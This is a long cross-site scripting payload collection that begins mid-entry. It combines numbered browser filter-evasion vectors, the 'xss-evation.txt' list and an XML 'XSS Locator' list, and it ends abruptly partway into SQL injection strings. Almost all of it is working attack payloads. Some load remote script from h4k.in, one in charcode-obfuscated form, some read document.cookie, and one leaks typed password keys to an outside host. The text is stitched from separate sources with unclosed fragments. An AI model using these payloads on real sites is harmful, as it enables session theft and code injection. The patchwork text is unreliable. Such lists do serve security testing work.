id="27"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//["'`-->]]]]><![CDATA[>]</div>
<div id="28">1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(28)>>//["'`-->]]]]><![CDATA[>]</div>
<div id="29"><link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//["'`-->]]]]><![CDATA[>]</div><div id="30"><style>@import "data:,*%7bx:expression(alert(30))%7D";</style>//["'`-->]]]]><![CDATA[>]</div><div id="31"><frameset onload=alert(31)>//["'`-->]]]]><![CDATA[>]</div><div id="32"><table background="javascript:alert(32)"></table>//["'`-->]]]]><![CDATA[>]</div><div id="33"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(33);">XXX</a></a><a href="javascript:alert(2)">XXX</a>//["'`-->]]]]><![CDATA[>]</div><div id="34">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//["'`-->]]]]><![CDATA[>]</div><div id="35">1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//["'`-->]]]]><![CDATA[>]</div><div id="36"><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(36)">XXX</a>//["'`-->]]]]><![CDATA[>]</div><div id="37"><!--<img src="--><img src=x onerror=alert(37)//">//["'`-->]]]]><![CDATA[>]</div><div id="38"><comment><img src="</comment><img src=x onerror=alert(38)//">//["'`-->]]]]><![CDATA[>]</div>
<div id="39"><!-- up to Opera 11.52, FF 3.6.28 -->
<![><img src="]><img src=x onerror=alert(39)//">
<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ -->
<svg><![CDATA[><image xlink:href="]]]]><![CDATA[><img src=xx:x onerror=alert(2)//"></svg>//["'`-->]]]]><![CDATA[>]</div>
<div id="40"><style><img src="</style><img src=x onerror=alert(40)//">//["'`-->]]]]><![CDATA[>]</div>
<div id="41"><li style=list-style:url() onerror=alert(41)></li>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)></div>//["'`-->]]]]><![CDATA[>]</div>
<div id="42"><head><base href="javascript://"/></head><body><a href="/. /,alert(42)//#">XXX</a></body>//["'`-->]]]]><![CDATA[>]</div>
<div id="43"><?xml version="1.0" standalone="no"?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<style type="text/css">
@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}
</head>
<body>Hello</body>
</html>//["'`-->]]]]><![CDATA[>]</div>
<div id="44"><style>*[{}@import'test.css?]{color: green;}</style>X//["'`-->]]]]><![CDATA[>]</div><div id="45"><div style="font-family:'foo[a];color:red;';">XXX</div>//["'`-->]]]]><![CDATA[>]</div><div id="46"><div style="font-family:foo}color=red;">XXX</div>//["'`-->]]]]><![CDATA[>]</div><div id="47"><svg xmlns="http://www.w3.org/2000/svg"><script>alert(47)</script></svg>//["'`-->]]]]><![CDATA[>]</div><div id="48"><SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//["'`-->]]]]><![CDATA[>]</div><div id="49"><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(49)"></OBJECT>//["'`-->]]]]><![CDATA[>]</div><div id="50"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>//["'`-->]]]]><![CDATA[>]</div><div id="51"><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>//["'`-->]]]]><![CDATA[>]</div><div id="52"><x style="behavior:url(test.sct)">//["'`-->]]]]><![CDATA[>]</div>
<div id="53"><xml id="xss" src="test.htc"></xml>
<label dataformatas="html" datasrc="#xss" datafld="payload"></label>//["'`-->]]]]><![CDATA[>]</div>
<div id="54"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>//["'`-->]]]]><![CDATA[>]</div><div id="55"><video><source onerror="alert(55)">//["'`-->]]]]><![CDATA[>]</div><div id="56"><video onerror="alert(56)"><source></source></video>//["'`-->]]]]><![CDATA[>]</div><div id="57"><b <script>alert(57)//</script>0</script></b>//["'`-->]]]]><![CDATA[>]</div><div id="58"><b><script<b></b><alert(58)</script </b></b>//["'`-->]]]]><![CDATA[>]</div><div id="59"><div id="div1"><input value="``onmouseover=alert(59)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>//["'`-->]]]]><![CDATA[>]</div><div id="60"><div style="[a]color[b]:[c]red">XXX</div>//["'`-->]]]]><![CDATA[>]</div>
<div id="61"><div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>//["'`-->]]]]><![CDATA[>]</div>
<div id="62"><!-- IE 6-8 -->
<x '="foo"><x foo='><img src=x onerror=alert(62)//'>
<!-- IE 6-9 -->
<! '="foo"><x foo='><img src=x onerror=alert(2)//'>
<? '="foo"><x foo='><img src=x onerror=alert(3)//'>//["'`-->]]]]><![CDATA[>]</div>
<div id="63"><embed src="javascript:alert(63)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF
<img src="javascript:alert(2)">
<image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓
<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓//["'`-->]]]]><![CDATA[>]</div>
<div id="64"><!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>//["'`-->]]]]><![CDATA[>]</div><div id="65"><svg onload="javascript:alert(65)" xmlns="http://www.w3.org/2000/svg"></svg>//["'`-->]]]]><![CDATA[>]</div>
<div id="66"><?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?>
<root/>//["'`-->]]]]><![CDATA[>]</div>
<div id="67"><!DOCTYPE x [
<!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x"
onerror CDATA "alert(67)"
onload CDATA "alert(2)">
]><img />//["'`-->]]]]><![CDATA[>]</div>
<div id="68"><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml">
<html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x>
</doc>//["'`-->]]]]><![CDATA[>]</div>
<div id="69"><card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(69)"/></onevent><timer value="1"/></card>//["'`-->]]]]><![CDATA[>]</div><div id="70"><div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>//["'`-->]]]]><![CDATA[>]</div><div id="71"><// style=x:expression\28alert(71)\29>//["'`-->]]]]><![CDATA[>]</div><div id="72"><form><button formaction="javascript:alert(72)">X</button>//["'`-->]]]]><![CDATA[>]</div><div id="73"><event-source src="event.php" onload="alert(73)">//["'`-->]]]]><![CDATA[>]</div><div id="74"><a href="javascript:alert(74)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>//["'`-->]]]]><![CDATA[>]</div><div id="75"><script<{alert(75)}/></script </>//["'`-->]]]]><![CDATA[>]</div><div id="76"><?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>//["'`-->]]]]><![CDATA[>]</div><div id="77"><?xml-stylesheet type="text/css"?><root style="x:expression(alert(77))"/>//["'`-->]]]]><![CDATA[>]</div><div id="78"><?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>//["'`-->]]]]><![CDATA[>]</div><div id="79"><object allowscriptaccess="always" data="test.swf"></object>//["'`-->]]]]><![CDATA[>]</div><div id="80"><style>*{x:ｅｘｐｒｅｓｓｉｏｎ(alert(80))}</style>//["'`-->]]]]><![CDATA[>]</div><div id="81"><x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(81)" xlink:type="simple"/>//["'`-->]]]]><![CDATA[>]</div><div id="82"><?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>//["'`-->]]]]><![CDATA[>]</div>
<div id="83"><x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)"><x:timer value="1"/></x:template>//["'`-->]]]]><![CDATA[>]</div>
<div id="84"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(84)//#x"/>//["'`-->]]]]><![CDATA[>]</div><div id="85"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>//["'`-->]]]]><![CDATA[>]</div><div id="86"><body oninput=alert(86)><input autofocus>//["'`-->]]]]><![CDATA[>]</div>
<div id="87"><svg xmlns="http://www.w3.org/2000/svg">
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(87)"><rect width="1000" height="1000" fill="white"/></a>
</svg>//["'`-->]]]]><![CDATA[>]</div>
<div id="88"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<animation xlink:href="javascript:alert(88)"/>
<animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/>
<image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/>
<foreignObject xlink:href="javascript:alert(88)"/>
<foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E"/>
<div id="89"><svg xmlns="http://www.w3.org/2000/svg">
<set attributeName="onmouseover" to="alert(89)"/>
<animate attributeName="onunload" to="alert(89)"/>
<div id="90"><!-- Up to Opera 10.63 -->
<div style=content:url(test2.svg)></div>
<!-- Up to Opera 11.64 - see link below -->
<!-- Up to Opera 12.x -->
<div style="background:url(test5.svg)">PRESS ENTER</div>//["'`-->]]]]><![CDATA[>]</div>
<div id="91">[A]
<? foo="><script>alert(91)</script>">
<! foo="><script>alert(91)</script>">
</ foo="><script>alert(91)</script>">
[B]
<? foo="><x foo='?><script>alert(91)</script>'>">
[C]
<! foo="[[[x]]"><x foo="]foo><script>alert(91)</script>">
[D]
<% foo><x foo="%><script>alert(91)</script>">//["'`-->]]]]><![CDATA[>]</div>
<div id="92"><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]]]><![CDATA[>]</div><div id="93"><div style="list-style:url(http://foo.f)\20url(javascript:alert(93));">X</div>//["'`-->]]]]><![CDATA[>]</div>
<div id="94"><svg xmlns="http://www.w3.org/2000/svg">
<handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(94)</handler>
<div id="95"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<feImage>
<set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>
</feImage>
<div id="96"><iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>
<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>//["'`-->]]]]><![CDATA[>]</div>
<div id="97"><!-- IE 5-9 -->
<div id=d><x xmlns="><iframe onload=alert(97)"></div>
<script>d.innerHTML+='';</script>
<!-- IE 10 in IE5-9 Standards mode -->
<div id=d><x xmlns='"><iframe onload=alert(2)//'></div>
<script>d.innerHTML+='';</script>//["'`-->]]]]><![CDATA[>]</div>
<div id="98"><div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div>
<script>with(document.getElementById("d"))innerHTML=innerHTML</script>//["'`-->]]]]><![CDATA[>]</div>
<div id="99">XXX<style>
*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */
<!--
--><!--*{color:red} /* all UA */
*{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */
</style>//["'`-->]]]]><![CDATA[>]</div>
<div id="100"><img[a][b]src=x[d]onerror[c]=[e]"alert(100)">//["'`-->]]]]><![CDATA[>]</div><div id="101"><a href="[a]java[b]script[c]:alert(101)">XXX</a>//["'`-->]]]]><![CDATA[>]</div><div id="102"><img src="x` `<script>alert(102)</script>"` `>//["'`-->]]]]><![CDATA[>]</div><div id="103"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>//["'`-->]]]]><![CDATA[>]</div>
<div id="104"><svg xmlns="http://www.w3.org/2000/svg" id="foo">
<x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/>
<div id="105"><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>//["'`-->]]]]><![CDATA[>]</div><div id="106"><img src onerror /" '"= alt=alert(106)//">//["'`-->]]]]><![CDATA[>]</div><div id="107"><title onpropertychange=alert(107)></title><title title=></title>//["'`-->]]]]><![CDATA[>]</div>
<div id="108"><!-- IE 5-8 standards mode -->
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(108)></a>">
<!-- IE 5-9 standards mode -->
<!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//">
<?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">//["'`-->]]]]><![CDATA[>]</div>
<div id="109"><svg xmlns="http://www.w3.org/2000/svg">
<a id="x"><rect fill="white" width="1000" height="1000"/></a>
<rect fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/>
<div id="110"><svg xmlns="http://www.w3.org/2000/svg">
<path d="M0,0" style="marker-start:url(test4.svg#a)"/>
<div id="111"><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]]]><![CDATA[>]</div><div id="112"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>//["'`-->]]]]><![CDATA[>]</div>
<div id="113"><div id="x">XXX</div>
<style>
#x{font-family:foo[bar;color:green;}
#y];color:red;{}
<div id="114"><x style="background:url('x[a];color:red;/*')">XXX</x>//["'`-->]]]]><![CDATA[>]</div>
<div id="115"><!--[if]><script>alert(115)</script -->
<!--[if<img src=x onerror=alert(2)//]> -->//["'`-->]]]]><![CDATA[>]</div>
<div id="116"><div id="x">x</div>
<xml:namespace prefix="t">
<import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(116)>">//["'`-->]]]]><![CDATA[>]</div>
<div id="117"><a href="http://attacker.org">
<iframe src="http://example.org/"></iframe>
</a>//["'`-->]]]]><![CDATA[>]</div>
<div id="118"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');">
<h1>Drop me</h1>
</div>
<iframe src="http://www.example.org/dropHere.html"></iframe>//["'`-->]]]]><![CDATA[>]</div>
<div id="119"><iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe>
<textarea type="text" cols="50" rows="10"></textarea>//["'`-->]]]]><![CDATA[>]</div>
<div id="120"><script>
function makePopups(){
for (i=1;i<6;i++) {
window.open('popup.html','spam'+i,'width=50,height=50');
}
<a href="#" onclick="makePopups()">Spam</a>//["'`-->]]]]><![CDATA[>]</div>
<div id="121"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:svg="http://www.w3.org/2000/svg">
<body style="background:gray">
<iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/>
<svg:svg>
<svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox">
<svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/>
<svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/>
</svg:mask>
</svg:svg>
<div id="122"><iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>//["'`-->]]]]><![CDATA[>]</div>
<div id="123"><span class=foo>Some text</span>
<a class=bar href="http://www.example.org">www.example.org</a>
<script src="http://code.jquery.com/jquery-1.4.4.js"></script>
$("span.foo").click(function() {
alert('foo');
$("a.bar").click();
});
$("a.bar").click(function() {
alert('bar');
location="http://html5sec.org";
</script>//["'`-->]]]]><![CDATA[>]</div>
<div id="124"><script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10
<script src="\\example.com\foo.js"></script> // Safari 5.0//["'`-->]]]]><![CDATA[>]</div>
<div id="125"><?xml version="1.0"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE doc [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>]>
<svg xmlns="http://www.w3.org/2000/svg">
<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe>
</xsl:template>
</xsl:stylesheet>
<circle fill="red" r="40"></circle>
<div id="126"><object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object>
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(126)" style="behavior:url(#x);"><param name=postdomevents /></object>//["'`-->]]]]><![CDATA[>]</div>
<div id="127"><svg xmlns="http://www.w3.org/2000/svg" id="x">
<listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/>
<handler id="y">alert(127)</handler>
<div id="128"><svg><style><img/src=x onerror=alert(128)// </b>//["'`-->]]]]><![CDATA[>]</div>
<div id="129"><svg>
<image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>")'>
Same effect with
<image filter='...'>
-->
<div id="130"><math href="javascript:alert(130)">CLICKME</math>
<math>
<!-- up to FF 13 -->
<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction>
<!-- FF 14+ -->
<maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction>
</math>//["'`-->]]]]><![CDATA[>]</div>
<div id="131"><b>drag and drop one of the following strings to the drop box:</b>
<br/><hr/>
jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//
feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//
feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b>
feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//
<div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>//["'`-->]]]]><![CDATA[>]</div>
<div id="132"><!doctype html>
<form>
<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>
<br>
<input name="secret" type="password">
<!-- injection --><svg height="50px">
<image xmlns:xlink="http://www.w3.org/1999/xlink">
<set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" />
<set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" />
<set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" />
<set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" />
</image>
<div id="133"><!-- `<img/src=xx:xx onerror=alert(133)//--!>//["'`-->]]]]><![CDATA[>]</div>
<div id="134"><xmp>
<%
</xmp>
<img alt='%></xmp><img src=xx:x onerror=alert(134)//'>
x='<%'
</script> %>/
alert(2)
XXX
*['<!--']{}
-->{}
*{color:red}</style>//["'`-->]]]]><![CDATA[>]</div>
<div id="135"><?xml-stylesheet type="text/xsl" href="#" ?>
<stylesheet xmlns="http://www.w3.org/TR/WD-xsl">
<template match="/">
<eval>new ActiveXObject('htmlfile').parentWindow.alert(135)</eval>
<if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if>
</template>
</stylesheet>//["'`-->]]]]><![CDATA[>]</div>
<div id="136"><form action="" method="post">
<input name="username" value="admin" />
<input name="password" type="password" value="secret" />
<input name="injected" value="injected" dirname="password" />
<input type="submit">
</form>//["'`-->]]]]><![CDATA[>]</div>
<div id="137"><svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(137)" to="&" />
<div id="138"><link rel="import" href="test.svg" />//["'`-->]]]]><![CDATA[>]</div><div id="139"><iframe srcdoc="<img src=x:x onerror=alert(1)>" />//["'`-->]]]]><![CDATA[>]</div>undefined
<svg%0Aonload=%09((pro\u006dpt))()//
# =========================================================================== #
#?
#? NAME
#? xss-evation.txt
#? SYNOPSIS
#? DESCRIPTION
#? List of Cross-site Scriptings (XSS) samples.
#? Empty lines and lines starting with a # are comments and should be
#? ignored. All other lines contain one payload per line.
# HACKER's INFO
# This file used in EnDe's "Load File" menu.
#? VERSION
#? @(#) xss-evation.txt 1.5 13/05/12 10:51:43
#? AUTHOR
#? 10-jun-10 Achim Hoffmann, mailto: EnDe (at) my (dash) stp (dot) net
#group most-in-one pattern
"'`ʼˈ‘’‚‛“”„‟′″‴‵‶‷﹅﹐＂＇，舧艠︐︑--><script>alert(42)</script>
#group general filter evasion
# real tab
# URL-encoded
# Unicode characters
#group javascript keywords
#group HTML event keywords
#group HTML tag attribute keywords
#group HTML tag keywords
#group general IE
#group general IE CSS expression injection
#group IE CSS expression variants
#group IE CSS expression in fullwidth (same as above)
#group IE CSS expression in capital letters
#group IE CSS expression with foreign Unicode letters
# see http://openmya.hacker.jp/hasegawa/security/expression.txt also
#group Unicode Left/Right Pointing Double Angel Quotation Mark
# improved pattern from: http://jeremiahgrossman.blogspot.com/2009/06/results-unicode-leftright-pointing.html
#group data: URL
#group PHP
# use of $_SERVER['PHP_SELF']
<%<!--'%><script>alert(42);</script -->
: \');confirm(1);//
<marquee onstart='javascript:alert('1');'>=(◕_◕)=
<?xml version="1.0"?>
<!-- from: http://mario.heideri.ch/xss.xml
date: 03-jan-08
minor formal modifications
<name> --- Reflective XSS Attacks ---</name>
<code></code>
<desc></desc>
<label></label>
<browser/>
<attack>
<name>Advanced XSS Locator</name>
<code>';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(4)</SCRIPT>=&{}");}alert(6);function xss(){//</code>
<desc>This is a modified version of the XSS Locator from ha.ckers.org</desc>
<label>Reflective XSS Attacks</label>
<browser></browser>
</attack>
<name>Advanced XSS Locator for &lt;title&gt;-Injections</name>
<code>';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title><script>alert(5)</script>}");}</code>
<name>HTML Breaking XSS 1 (all quotes)</name>
<code>'';!--"<script>alert(0);</script>=&{(alert(1))}</code>
<desc>HTML Breaker - tries to break the attribute injected in</desc>
</attack>
<name>HTML Breaking XSS 2 (double quotes)</name>
<code>"><script>alert(0);</script></code>
</attack>
<name>HTML Breaking XSS 3 (single quotes)</name>
<code>'><script>alert(0);</script></code>
<name>HTML Breaking XSS 4 (attributes)</name>
<code>'<script>alert(0);</script></code>
<desc>HTML Breaker - credits go to Alex</desc>
<name>Semicolon XSS (HTML)</name>
<code><img src=x onerror=;;alert(1) /></code>
<desc>HTML Breaker - credits go to Kishor</desc>
<name>Title-breaker</name>
<code></title><script>alert(1)</script></code>
<label>Reflective XSS Attacks</label>
<attack>
<name>HTML-breaking XSS for backticked attributes</name>
<code>`> <script>alert(5)</script></code>
<name>Textarea-breaker (onmouseover)</name>
<code></textarea><br><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code></code>
<name>Noscrript-breaker (onmouseover)</name>
<code></noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code></code>
<name>Style-breaker</name>
<code>}</style><script>a=eval;b=alert;a(b(/i/.source));</script></code>
</attack>
<name></name>
<name> --- Reflective JS XSS ---</name>
<name>JS Breaking XSS 1</name>
<code>;}alert(0);{</code>
<desc>JS Breaker - tries to break the javascript injected in</desc>
<name>JS Breaking XSS 2 (string concatination)</name>
<code>"+alert(0)+"</code>
<name>onerror XSS Injection</name>
<code>xyz onerror=alert(6); </code>
<name>onclick XSS Injection</name>
<code>onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source);</code>
<name>Plain JS XSS Injection 1</name>
<code>a=eval;b=alert;a(b(8));</code>
<name>Plain JS XSS Injection 2</name>
<code>a=1;a=eval;b=alert;a(b(11));//</code>
<name>String-breaking JS Injection (single qouted)</name>
<code>';//%0da=eval;b=alert;a(b(9));//</code>
<name>String-breaking JS Injection (double qouted)</name>
<code>";//%0da=eval;b=alert;a(b(10));//</code>
<code>'};a=eval;b=alert;a(b(13));//</code>
<name>JSON-breaking JS Injection (double qouted)</name>
<code>"};a=eval;b=alert;a(b(12));//</code>
<name>JSON-breaking JS Injection (non-qouted)</name>
<code>1};a=eval;b=alert;a(b(14));//</code>
<name>Array-breaking JS Injection (sinlge qouted)</name>
<code>'];a=eval;b=alert;a(b(15));//</code>
<name>Array-breaking JS Injection (double qouted)</name>
<code>"];a=eval;b=alert;a(b(16));//</code>
<name>Array-breaking JS Injection (non qouted)</name>
<code>1];a=eval;b=alert;a(b(17));//</code>
<name>Int-breaking JS Injection (non qouted)</name>
<code>1;a=eval;b=alert;a(b(/c/.source));</code>
<name>CRLF-forced JS Injection</name>
<code>%0da=eval;b=alert;a(b(/d/.source));</code>
<name>JS Comment breaker</name>
<code>*/a=eval;b=alert;a(b(/e/.source));/*</code>
<label>Reflective XSS Attacks</label>
<name> --- JS Includes ---</name>
<name>Tiny XSS Include 1 (20 characters, FFox only)</name>
<code><script src=//h4k.in</code>
<desc>Super-tiny inclusion vector - 20 characters length.</desc>
<name>Tiny XSS Include 2 (27 characters - all browsers)</name>
<code><script src=http://h4k.in/></code>
<desc>Super-tiny inclusion vector for IE, FFox and Opera - 27 characters length. Credits go to kogir.</desc>
<name>Tiny XSS Include 3 (30 characters - all browsers)</name>
<code><script src=//h4k.in></script></code>
<desc>Tiny inclusion vector for IE, FFox and Opera - 30 characters length.</desc>
<name>Tiny XSS Include 4 (HTML Breaking)</name>
<code>"><script src=//h4k.in></script><</code>
<desc>Tiny inclusion vector for IE, FFox and Opera - breaks HTML.</desc>
<name> --- Fragmented DOM XSS ---</name>
<name>Include Fragment Pt. 1</name>
<code><scri</code>
<desc>First part of a fragmented inclusion attack vector. Swallows the enclosed HTML.</desc>
<name>Include Fragment Pt. 2</name>
<code>pt src=//h4k.in><</code>
<desc>Second part of a fragmented inclusion attack vector.</desc>
<name>Include Fragment Pt. 3</name>
<code>></script></code>
<desc>Third part of a fragmented inclusion attack vector.</desc>
<name> --- HTML Injection ---</name>
</attack>
<name>Advanced HTML Injection Locator</name>
<code><s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e&#60&#115&#62&#51&#51&#51&#60&#47&#115&#62&#x3c&#x73&#x3e&#x34&#x34&#x34&#x3c&#x2f&#x73&#x3e</code>
<desc>HTML injection vector.</desc>
<name>HTML Injection 1 (http://h4k.in/i.js)</name>
<code>"><script src=http://h4k.in/i.js></script></code>
<name>HTML Injection 2 (using JS - http://h4k.in/i.js)</name>
<code>"><script>a=document.createElement('script');a.src='http://h4k.in/i.js';document.body.appendChild(a);</script></code>
<name>HTML Injection 3 (using charcode - http://h4k.in/i.js)</name>
<code>"><script>eval(String.fromCharCode(97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,114,99,61,39,104,116,116,112,58,47,47,104,52,107,46,105,110,47,105,46,106,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59))</script></code>
<!-- disabled 03-jan-08
<name> ___ SQL Injections ___x</name>
<name>Basic SQL Injection 1</name>
<code> 1 OR 1 = 1 </code>
<desc>Very basic SQL Injection vector</desc>
<label>SQL Injection Attacks</label>
<name>Basic SQL Injection 2</name>
<code>1' OR '1'='1</code>
<desc>Another basic SQL Injection vector</desc>
<name>Basic SQL Injection 3</name>
<code>1\'1</code>
<attack>
<name>Basic SQL Injection 4</name>
